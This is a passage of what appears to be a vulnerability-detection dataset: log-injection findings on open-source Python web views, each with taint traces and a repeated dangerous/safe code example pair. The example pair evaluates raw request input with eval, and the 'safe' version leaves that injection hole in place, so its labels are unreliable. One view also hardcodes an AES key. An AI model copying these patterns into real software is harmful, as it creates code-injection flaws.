# By default set this to 'freetier' and uuid to None\n g.user_status = UserStatus.FREETIER\n g.uuid = None\n try:\n header_data = HeaderData(uuid=request.headers.get('uuid', None))\n if header_data.uuid:\n g.uuid = str(header_data.uuid)\n user = get_user(g.uuid)\n g.user_status = UserStatus[user.status]\n except ValidationError as e:\n raise HTTPError(400, \"Not a valid uuid\") from e\n except UserNotFoundException:\n logger.warning(\"No User Found corresponding to UUID {}\".format(header_data.uuid))\n except UserException:\n logger.warning(\"Unable to get user status for uuid '{}'\".format(header_data.uuid))\n\n logger.debug('For UUID: %s, got user type: %s final uuid: %s',\n header_data.uuid, g.user_status, g.uuid)\n return view(*args, **kwargs)\n\n return wrapper", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.headers"}}, {"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "HeaderData"}}, {"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "HeaderData"}}, {"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 68, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}, {"lineNo": 69, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "header_dataHeaderData.uuid"}}]}} {"id": "03d90f8021f1c0ac63044c2d7b47c1feadbf55aa80d029fc5c1ee4ed89ec4d08", "license": {"spdx": ["Apache-2.0"], "repo": "crazy-canux/zmonitoring", "path": "apps/nagios/views.py", "repo_head_hexsha": "23142203955fe4b599db80dcbfa9e9301073b448", "stack_hexsha": "01fff73693db6901bfb8ca0731e042151e039ff9", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 167, "entireCode": "# -*- coding: utf-8 -*-\n# Copyright (C) <>\n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE\n# OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\"\"\"\nDjango views for application nagios.\n\"\"\"\n\n# Std imports\nimport logging\nimport json\nimport time\nfrom base64 import urlsafe_b64decode\n\n# Django imports\nfrom django.http import HttpResponse\nfrom django.views.generic import ListView\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core import serializers\nfrom django.shortcuts import render\n\n# Models imports\nfrom apps.nagios.models import Satellite, SecurityPort\n\n# Utilities\nfrom cipher import AESCipher\n\n\nlogger = logging.getLogger(__name__)\n\n\n# View definitions\n# ================\n#\ndef acknowledge_token(request, token):\n \"\"\"Acknowledge a host or service alert using an encrypted token.\"\"\"\n time_now = time.time()\n cipher = AESCipher('ABCDEF0123456789', iv='iv1234567890ABCD')\n host_command_line = \"COMMAND [{timestamp}] {command};\" \\\n \"{hostname};\" \\\n \"{sticky};\" \\\n \"{notify};\" \\\n \"{persistent};\" \\\n \"{author};\" \\\n \"Ack by email, working on it.\"\n svc_command_line = \"COMMAND [{timestamp}] {command};\" \\\n \"{hostname};\" \\\n \"{service_description};\" \\\n \"{sticky};\" \\\n \"{notify};\" \\\n \"{persistent};\" \\\n \"{author};\" \\\n \"Ack by email, working on it.\"\n\n # Try to decode the encrypted token to a python object (dict)\n try:\n token = str(token)\n json_token = cipher.decrypt(urlsafe_b64decode(token))\n ack_data = json.loads(json_token)\n except:\n logger.exception(\"Unable to decrypt the provided token !\")\n logger.debug(\"Token received: %s\", token)\n return HttpResponse('Token is not valid !\\n', status=400)\n\n # Check token validity in time\n if time_now > ack_data['expire_time']:\n if 'service_description' in ack_data:\n logger.warning(\n \"Token validity for service alert \\\"%s / %s\\\" has expired !\",\n ack_data['hostname'],\n ack_data['service_description'])\n else:\n logger.warning(\"Token validity for host alert \\\"%s\\\" has expired !\",\n ack_data['hostname'])\n return render(request, 'nagios/ack_email_expired.html', ack_data)\n\n # Send the ack command to Nagios\n if 'service_description' in ack_data:\n command_line = svc_command_line.format(timestamp=time_now,\n **ack_data)\n else:\n command_line = host_command_line.format(timestamp=time_now,\n **ack_data)\n\n # Establish a connection to satellites and send the command to ack\n try:\n satellites = Satellite.live_connect()\n for conn in satellites.connections:\n site = conn[0]\n satellites.command(command_line, sitename=site)\n except Satellite.SatelliteConnectError as e:\n logger.exception('Error connecting on satellites !')\n return HttpResponse('Unable to connect to Nagios.\\n'\n 'Error: {}\\n'.format(e), status=400)\n\n logger.info(\"Processed ack by email: %s\", command_line)\n\n return render(request, 'nagios/ack_email_passed.html', ack_data)\n\n\ndef get_satellite_list(request, format='json'):\n \"\"\"\n Return the list of all satellites, format is json by default.\n \"\"\"\n satellites = Satellite.objects.filter(active=True)\n if format not in \"csv\":\n return HttpResponse(serializers.serialize(format, satellites))\n else:\n csv = \"\"\n for sat in satellites:\n csv += \"%s;%s;%s;%s\\n\" % (sat.name, sat.fqdn, sat.alias, sat.live_port)\n return HttpResponse(csv)\n\n\n@csrf_exempt\ndef send_passive(request):\n \"\"\"\n Web API that uses HTTP POST requests to send passive checks results to Nagios.\n\n **Note**\n As this is POST data but we have no form, CSRF protection is off for Django using decorator ``@csrf_exempt``.\n\n You should provides the following POST variables to the URL of the Web API:\n\n - host\n - service\n - status\n - message\n\n The view log any received HTTP TRAP to file ``~django/optools/log/http_trap.log`` on Central server. File is rotated.\n\n How to use with **cURL**\n ------------------------\n\n This example send a WARNING alert to the service CPU of host NAGIOS_DC_SATELLITE_EDC1::\n\n curl -f \\\n -d host=NAGIOS_DC_SATELLITE_EDC1 \\\n -d service=CPU \\\n -d status=1 \\\n -d message=\"Test TRAP HTTP\" \\\n http://canuxcheng.com/optools/nagios/passive/\n \"\"\"\n # Get the logger for this view\n logger.info('-------------------------------')\n logger.info('-- Receiving a new HTTP TRAP --')\n logger.info('-------------------------------')\n logger.info('From IP: %s', request.META.get('REMOTE_ADDR'))\n logger.info('User-Agent: %s', request.META.get('HTTP_USER_AGENT'))\n logger.debug('Request body: %s', request.body)\n\n # Livestatus queries\n command_line = 'COMMAND [{timestamp}] PROCESS_SERVICE_CHECK_RESULT;{host};{service};{status};{message}\\n'\n query_find_host = 'GET hosts\\nColumns: name services\\nFilter: name = {host}\\n'\n query_find_service = 'GET services\\nColumns: description host_name\\nFilter: host_name = {host}\\nFilter: description = {service}\\nAnd: 2\\n'\n\n # Get POST data\n try:\n params = {\n 'host': request.POST['host'].upper(),\n 'service': request.POST['service'],\n 'status': int(request.POST['status']),\n 'message': request.POST['message'],\n 'timestamp': int(time.time()),\n }\n logger.debug('Cleaned data: %s', params)\n except KeyError:\n logger.exception('Incomplete POST data !')\n return HttpResponse('Incomplete POST data ! Missing key.\\n', status=400)\n except ValueError:\n logger.exception('Incorrect value type for data !')\n return HttpResponse('The key \\\"status\\\" should be an integer within 0 (OK), 1 (WARNING), 2 (CRITICAL) and 3 (UNKNOWN).\\n', status=400)\n\n # Prepare data to be sent to Nagios\n try:\n satellites = Satellite.live_connect()\n satellites.set_prepend_site(True)\n except Satellite.SatelliteConnectError as e:\n logger.exception('Error connecting on satellites !')\n return HttpResponse('Unable to connect to Nagios.\\nError: {}\\n'.format(e), status=400)\n\n # Check if host and service exist in Nagios\n host_dest = satellites.query(query_find_host.format(**params))\n if host_dest:\n # The host is found, check if service exist\n service_dest = satellites.query(query_find_service.format(**params))\n if service_dest:\n sat = service_dest.pop()[0]\n\n logger.info('Preparing command for Nagios.')\n logger.debug('Command: %s', command_line.format(**params))\n logger.debug('Satellite: %s', sat)\n\n satellites.command(command_line.format(**params), sitename=sat)\n else:\n # Service not found\n message = 'Service \\\"{service}\\\" does not exist on host \\\"{host}\\\".\\n'.format(**params)\n logger.error(message)\n return HttpResponse(message, status=400)\n else:\n # Host not found\n message = 'The host \\\"{host}\\\" does not exist in Nagios.\\n'.format(**params)\n logger.error(message)\n return HttpResponse(message, status=400)\n\n # Everything is OK\n logger.info('HTTP TRAP processed successfully.')\n return HttpResponse()\n\n\n# Class-based views\nclass SatelliteListView(ListView):\n \"\"\"\n Show the list of satellites.\n \"\"\"\n context_object_name = \"systems_list\"\n model = Satellite\n\n def get_context_data(self, **kwargs):\n # Call the base implementation first to get a context\n context = super(SatelliteListView, self).get_context_data(**kwargs)\n\n # Adding extra context data to the view\n context['section'] = {'systems': 'active'}\n context['base_url'] = self.request.build_absolute_uri('/').strip('/')\n context['ports'] = SecurityPort.objects.all()\n\n return context", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 167, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 167, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.body"}}, {"lineNo": 167, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "8a0e0fc8ab666c9d28be972014416a6a836f50c9dee084776022e9cd2f56f239", "license": {"spdx": ["MIT"], "repo": "gavrie/swagger-conformance", "path": "tests/test_schemas/full_put_schema.py", "repo_head_hexsha": "58d970bf9a8886e54de408e705c128884af4d70d", "stack_hexsha": "de0ed518e86bcc22e91a486320374a237105f31a", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 86, "entireCode": "'''\nA simple REST API exposing a swagger schema.\n'''\nimport logging\nimport os.path\n\nfrom flask import request\nfrom flask_restplus import Resource, fields\n\nfrom common import main, api\n\n\nlog = logging.getLogger(__name__)\n\n\nexample_ns = api.namespace('example', description=\"Example operations\")\n\n\n# Define some custom fields (actually just still swagger specified ones).\nclass ByteField(fields.String):\n __schema_format__ = 'byte'\n\n\n# Specifications of the objects accepted/returned by the API.\nExampleObj = api.model('Example', {\n 'raw': fields.Raw(required=True,\n description='Raw data',\n example={\"any_data\": \"you_like_goes_here\"}),\n 'whole': fields.Integer(required=True,\n description='number data',\n example=1234),\n 'real': fields.Float(required=True,\n description='real data',\n example=123.456),\n 'data': fields.String(required=True,\n description='String data',\n example=\"Some string\"),\n 'b64bytes': ByteField(required=True,\n description='Some bytes',\n example=\"c3dhZ2dlcg==\"),\n 'b64bytesenum': ByteField(required=True,\n description='Some bytes',\n enum=['QQ==', 'Qg==', 'Qw==', 'RA=='],\n example=\"QQ==\"),\n 'enumeration': fields.String(required=True,\n description='Specific string from enum',\n enum=['A', 'B', 'C', 'D'],\n example='C'),\n 'truthy': fields.Boolean(required=True,\n description='Bool data',\n example=True),\n 'list': fields.List(fields.String,\n required=True,\n description='List data',\n example=[\"some\", \"strings\", \"here\"]),\n 'isod': fields.Date(required=True,\n description='ISO date',\n example='1990-12-31'),\n 'isodt': fields.DateTime(required=True,\n description='ISO datetime',\n example='1985-04-12T23:20:50.52Z'),\n})\n\n@example_ns.route('')\nclass ExampleCollection(Resource):\n \"\"\"Resource allowing access to different types of methods and models.\"\"\"\n\n def get(self):\n \"\"\"Return a string.\"\"\"\n return \"Hi\"\n\n @api.response(204, 'Successful delete.')\n def delete(self):\n \"\"\"Just return\"\"\"\n return None, 204\n\n\n@example_ns.route('/')\nclass ExampleResource(Resource):\n\n @api.expect(ExampleObj)\n @api.response(204, 'App successfully updated.')\n def put(self, exint):\n \"\"\"Takes in data\"\"\"\n log.debug(\"Got parameter: %r\", exint)\n log.debug(\"Got body: %r\", request.data)\n return None, 204\n\n\nif __name__ == '__main__':\n main(os.path.splitext(os.path.basename(__file__))[0] + '.json')", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 86, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 86, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.data"}}, {"lineNo": 86, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "a9862c88880eafa268091fac29475da8d886fbd06b4fdb2e5b04b022e66399df", "license": {"spdx": ["MIT"], "repo": "arXiv/arxiv-fulltext", "path": "fulltext/routes.py", "repo_head_hexsha": "36008457022cde245d78b3ad91e0a95aa21bc420", "stack_hexsha": "d850a48868059577ef48f516a0a88dffa8f864d3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 30, "entireCode": "\"\"\"Provides the blueprint for the fulltext API.\"\"\"\n\nfrom typing import Optional, Callable, Any, List\nfrom flask import request, Blueprint, Response, make_response\nfrom werkzeug.exceptions import NotAcceptable, BadRequest, NotFound\nfrom flask.json import jsonify\nfrom arxiv import status\nfrom arxiv.users.domain import Session, Scope\nfrom arxiv.users.auth import scopes\nfrom arxiv.users.auth.decorators import scoped\nfrom arxiv.base import logging\nfrom fulltext import controllers\nfrom .domain import SupportedBuckets, SupportedFormats\n\nlogger = logging.getLogger(__name__)\n\nARXIV_PREFIX = '//'\nSUBMISSION_PREFIX = '//'\n\nblueprint = Blueprint('fulltext', __name__, url_prefix='')\n\nAuthorizer = Callable[[str, Optional[str]], bool]\n\n\ndef make_authorizer(scope: Scope) -> Authorizer:\n \"\"\"Make an authorizer function for injection into a controller.\"\"\"\n def inner(identifier: str, owner_id: Optional[str]) -> bool:\n \"\"\"Check whether the session is authorized for a specific resource.\"\"\"\n logger.debug('Authorize for %s owned by %s', identifier, owner_id)\n logger.debug('Client user id is %s', request.auth.user.user_id)\n try:\n source_id, checksum = identifier.split('/', 1)\n except ValueError as e:\n logger.debug('Bad identifier? %s', e)\n raise NotFound('Unsupported identifier') from e\n return (request.auth.is_authorized(scope, source_id)\n or (request.auth.user\n and str(request.auth.user.user_id) == owner_id))\n return inner\n\n\ndef resource_id(id_type: str, identifier: str, *args: Any, **kw: Any) -> str:\n \"\"\"Get the resource ID for an endpoint.\"\"\"\n if id_type == SupportedBuckets.SUBMISSION:\n return identifier.split('/', 1)[0]\n return identifier\n\n\ndef best_match(available: List[str], default: str) -> str:\n \"\"\"Determine best content type given Accept header and available types.\"\"\"\n if 'Accept' not in request.headers:\n return default\n ctype: str = request.accept_mimetypes.best_match(available)\n return ctype\n\n\n@blueprint.route('/status')\ndef ok() -> Response:\n \"\"\"Provide current integration status information for health checks.\"\"\"\n data, code, headers = controllers.service_status()\n response: Response = make_response(jsonify(data), code, headers)\n return response\n\n\n\n@blueprint.route(ARXIV_PREFIX, methods=['POST'])\n@blueprint.route(SUBMISSION_PREFIX, methods=['POST'])\n@scoped(scopes.CREATE_FULLTEXT, resource=resource_id)\ndef start_extraction(id_type: str, identifier: str) -> Response:\n \"\"\"Handle requests for fulltext extraction.\"\"\"\n payload: Optional[dict] = request.get_json()\n force: bool = payload.get('force', False) if payload is not None else False\n token = request.environ['token']\n\n # Authorization is required to work with submissions.\n authorizer: Optional[Authorizer] = None\n if id_type == SupportedBuckets.SUBMISSION:\n authorizer = make_authorizer(scopes.READ_COMPILE)\n\n data, code, headers = \\\n controllers.start_extraction(id_type, identifier, token, force=force,\n authorizer=authorizer)\n response: Response = make_response(jsonify(data), code, headers)\n return response\n\n\n@blueprint.route(ARXIV_PREFIX + '/version//format/')\n@blueprint.route(ARXIV_PREFIX + '/version/')\n@blueprint.route(ARXIV_PREFIX + '/format/')\n@blueprint.route(ARXIV_PREFIX)\n@blueprint.route(SUBMISSION_PREFIX + '/version//format/')\n@blueprint.route(SUBMISSION_PREFIX + '/version/')\n@blueprint.route(SUBMISSION_PREFIX + '/format/')\n@blueprint.route(SUBMISSION_PREFIX)\n@scoped(scopes.READ_FULLTEXT, resource=resource_id)\ndef retrieve(id_type: str, identifier: str, version: Optional[str] = None,\n content_fmt: str = SupportedFormats.PLAIN) -> Response:\n \"\"\"Retrieve full-text content for an arXiv paper.\"\"\"\n if identifier is None:\n raise BadRequest('identifier missing in request')\n available = ['application/json', 'text/plain']\n content_type = best_match(available, 'application/json')\n\n # Authorization is required to work with submissions.\n authorizer: Optional[Authorizer] = None\n if id_type == SupportedBuckets.SUBMISSION:\n authorizer = make_authorizer(scopes.READ_COMPILE)\n\n data, code, headers = controllers.retrieve(identifier, id_type, version,\n content_fmt=content_fmt,\n authorizer=authorizer)\n if content_type == 'text/plain':\n response_data = Response(data['content'], content_type='text/plain')\n elif content_type == 'application/json':\n if 'content' in data:\n data['content'] = data['content']\n response_data = jsonify(data)\n else:\n raise NotAcceptable('unsupported content type')\n response: Response = make_response(response_data, code, headers)\n return response\n\n\n@blueprint.route(ARXIV_PREFIX + '/version//status')\n@blueprint.route(ARXIV_PREFIX + '/status')\n@blueprint.route(SUBMISSION_PREFIX + '/version//status')\n@blueprint.route(SUBMISSION_PREFIX + '/status')\n@scoped(scopes.READ_FULLTEXT, resource=resource_id)\ndef task_status(id_type: str, identifier: str,\n version: Optional[str] = None) -> Response:\n \"\"\"Get the status of a text extraction task.\"\"\"\n # Authorization is required to work with submissions.\n authorizer: Optional[Authorizer] = None\n if id_type == SupportedBuckets.SUBMISSION:\n authorizer = make_authorizer(scopes.READ_COMPILE)\n\n data, code, headers = controllers.get_task_status(identifier, id_type,\n version=version,\n authorizer=authorizer)\n response: Response = make_response(jsonify(data), code, headers)\n return response", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.auth"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.auth.user"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.auth.user.user_id"}}, {"lineNo": 30, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "83e40872791537be227de4c1e033cb4272c880c18b99d00023dec9d46b2b5958", "license": {"spdx": ["Apache-2.0"], "repo": "emosher/ozp-backend", "path": "ozpcenter/api/listing/views.py", "repo_head_hexsha": "d31d00bb8a28a8d0c999813f616b398f41516244", "stack_hexsha": "2567caae7253284a9a344b99ea33a15dbcca05d6", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 105, "entireCode": "\"\"\"\nListing Views\n\"\"\"\nimport logging\nimport operator\n\nfrom django.shortcuts import get_object_or_404\nfrom django.db.models import Min\nfrom django.db.models.functions import Lower\nfrom rest_framework import filters\nfrom rest_framework import status\nfrom rest_framework import viewsets\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import list_route\n\nfrom ozpcenter import errors\nfrom ozpcenter import pagination\nfrom ozpcenter import permissions\nfrom ozpcenter.pipe import pipes\nfrom ozpcenter.pipe import pipeline\nfrom ozpcenter.recommend import recommend_utils\nimport ozpcenter.api.listing.model_access as model_access\nimport ozpcenter.api.listing.serializers as serializers\nimport ozpcenter.model_access as generic_model_access\nimport ozpcenter.api.listing.model_access_es as model_access_es\n\n\nlogger = logging.getLogger('ozp-center.' + str(__name__))\n\n\nclass DocUrlViewSet(viewsets.ModelViewSet):\n \"\"\"\n TODO: Remove?\n \"\"\"\n permission_classes = (permissions.IsUser,)\n queryset = model_access.get_all_doc_urls()\n serializer_class = serializers.DocUrlSerializer\n\n\nclass ReviewViewSet(viewsets.ModelViewSet):\n \"\"\"\n Reviews for a given listing\n\n The unique_together contraints on models.Review make it difficult to\n use the standard Serializer classes (see the Note here:\n http://www.django-rest-framework.org/api-guide/serializers/#specifying-read-only-fields)\n\n Primarily for that reason, we forgo using Serializers for POST and PUT\n actions\n\n ModelViewSet for getting all Reviews for a given listing\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/listing/{pk}/review\n Summary:\n Find a Review Entry by ID\n Response:\n 200 - Successful operation - ReviewSerializer\n\n DELETE /api/listing/{pk}/review\n Summary:\n Delete a Review Entry by ID\n \"\"\"\n permission_classes = (permissions.IsUser,)\n serializer_class = serializers.ReviewSerializer\n filter_backends = (filters.OrderingFilter,)\n pagination_class = pagination.ReviewLimitOffsetPagination\n\n ordering_fields = ('id', 'listing', 'text', 'rate', 'edited_date', 'created_date')\n ordering = ('-created_date')\n\n def get_queryset(self):\n return model_access.get_reviews(self.request.user.username)\n\n def list(self, request, listing_pk=None):\n queryset = self.get_queryset().filter(listing=listing_pk, review_parent__isnull=True)\n queryset = self.filter_queryset(queryset)\n # it appears that because we override the queryset here, we must\n # manually invoke the pagination methods\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = serializers.ReviewSerializer(page, context={'request': request}, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = serializers.ReviewSerializer(queryset, many=True, context={'request': request})\n return Response(serializer.data)\n\n def retrieve(self, request, pk=None, listing_pk=None):\n queryset = self.get_queryset().get(pk=pk, listing=listing_pk)\n serializer = serializers.ReviewSerializer(queryset, context={'request': request})\n return Response(serializer.data)\n\n def create(self, request, listing_pk=None):\n \"\"\"\n Create a new review\n \"\"\"\n listing = model_access.get_listing_by_id(request.user.username, listing_pk, True)\n\n serializer = serializers.ReviewSerializer(data=request.data, context={'request': request, 'listing': listing}, partial=True)\n if not serializer.is_valid():\n logger.error('{0!s}'.format(serializer.errors), extra={'request': request})\n raise errors.ValidationException('{0}'.format(serializer.errors))\n\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n def update(self, request, pk=None, listing_pk=None):\n \"\"\"\n Update an existing review\n \"\"\"\n listing = model_access.get_listing_by_id(request.user.username, listing_pk, True)\n review = model_access.get_review_by_id(pk)\n\n serializer = serializers.ReviewSerializer(review, data=request.data, context={'request': request, 'listing': listing}, partial=True)\n if not serializer.is_valid():\n logger.error('{0!s}'.format(serializer.errors), extra={'request': request})\n raise errors.ValidationException('{0}'.format(serializer.errors))\n\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def destroy(self, request, pk=None, listing_pk=None):\n queryset = self.get_queryset()\n review = get_object_or_404(queryset, pk=pk)\n model_access.delete_listing_review(request.user.username, review)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass SimilarViewSet(viewsets.ModelViewSet):\n \"\"\"\n Similar Apps for a given listing\n\n # TODO (Rivera 2017-2-22) Implement Similar Listing Algorithm\n\n Primarily for that reason, we forgo using Serializers for POST and PUT\n actions\n\n ModelViewSet for getting all Similar Apps for a given listing\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/listing/{pk}/similar\n Summary:\n Find a Similar App Entry by ID\n Response:\n 200 - Successful operation - ListingSerializer\n \"\"\"\n permission_classes = (permissions.IsUser,)\n serializer_class = serializers.ListingSerializer\n # pagination_class = pagination.StandardPagination\n\n def get_queryset(self, listing_pk):\n approval_status = self.request.query_params.get('approval_status', None)\n # org = self.request.query_params.get('org', None)\n orgs = self.request.query_params.getlist('org', False)\n enabled = self.request.query_params.get('enabled', None)\n ordering = self.request.query_params.getlist('ordering', None)\n if enabled:\n enabled = enabled.lower()\n if enabled in ['true', '1']:\n enabled = True\n else:\n enabled = False\n\n listings = model_access.get_similar_listings(self.request.user.username, listing_pk)\n\n if approval_status:\n listings = listings.filter(approval_status=approval_status)\n if orgs:\n listings = listings.filter(agency__title__in=orgs)\n if enabled is not None:\n listings = listings.filter(is_enabled=enabled)\n # have to handle this case manually because the ordering includes an app multiple times\n # if there are multiple owners. We instead do sorting by case insensitive compare of the\n # app owner that comes first alphabetically\n param = [s for s in ordering if 'owners__display_name' == s or '-owners__display_name' == s]\n if ordering is not None and param:\n orderby = 'min'\n if param[0].startswith('-'):\n orderby = '-min'\n listings = listings.annotate(min=Min(Lower('owners__display_name'))).order_by(orderby)\n self.ordering = None\n return listings\n\n def list(self, request, listing_pk=None):\n queryset = self.filter_queryset(self.get_queryset(listing_pk))\n serializer = serializers.ListingSerializer(queryset, context={'request': request}, many=True)\n\n similar_listings = pipeline.Pipeline(recommend_utils.ListIterator(serializer.data),\n [pipes.ListingDictPostSecurityMarkingCheckPipe(self.request.user.username),\n pipes.LimitPipe(10)]).to_list()\n return Response(similar_listings)\n\n\nclass RecommendationFeedbackViewSet(viewsets.ModelViewSet):\n \"\"\"\n Recommendation Feedback for a given listing\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/listing/{pk}/feedback\n Summary:\n Find a feedback Entry by ID\n Response:\n 200 - Successful operation - ListingSerializer\n \"\"\"\n permission_classes = (permissions.IsUser,)\n serializer_class = serializers.RecommendationFeedbackSerializer\n # pagination_class = pagination.StandardPagination\n\n def get_queryset(self, listing):\n recommendation_feedback_query = model_access.get_recommendation_feedback(self.request.user.username, listing)\n return recommendation_feedback_query\n\n def list(self, request, listing_pk=None):\n listing = model_access.get_listing_by_id(request.user.username, listing_pk, True)\n\n queryset = self.get_queryset(listing)\n\n if not queryset:\n return 